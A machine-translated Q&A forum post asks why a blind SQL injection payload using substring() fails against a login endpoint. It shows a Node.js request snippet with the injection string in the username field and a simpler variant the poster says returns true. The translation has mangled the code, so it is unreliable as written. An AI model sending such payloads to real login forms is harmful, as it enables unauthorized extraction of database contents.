不能在盲目SQL注入中执行子string函数
我的要求是
var request = require('request'); request.post({ 头文件:{'content-type':'application / x-www-form-urlencoded'}, url:“https://www.target.com/account/IsValidLogin”, forms:{ userName:“example@example.org”AND ascii(substring('baaa',1,1))> 2 AND'x'='x“, 密码:“123456” } },函数(错误,响应,正文){ 的console.log(主体); } );
它崩溃了。 好像目标数据库不支持substring
函数。 不过,也许我写错了什么。 据我所知, substring
是很常见的function。
如果我把这个example@example.org' AND ascii('b')>2 AND 'x'='x
那么它返回true
。
目标数据库types未知。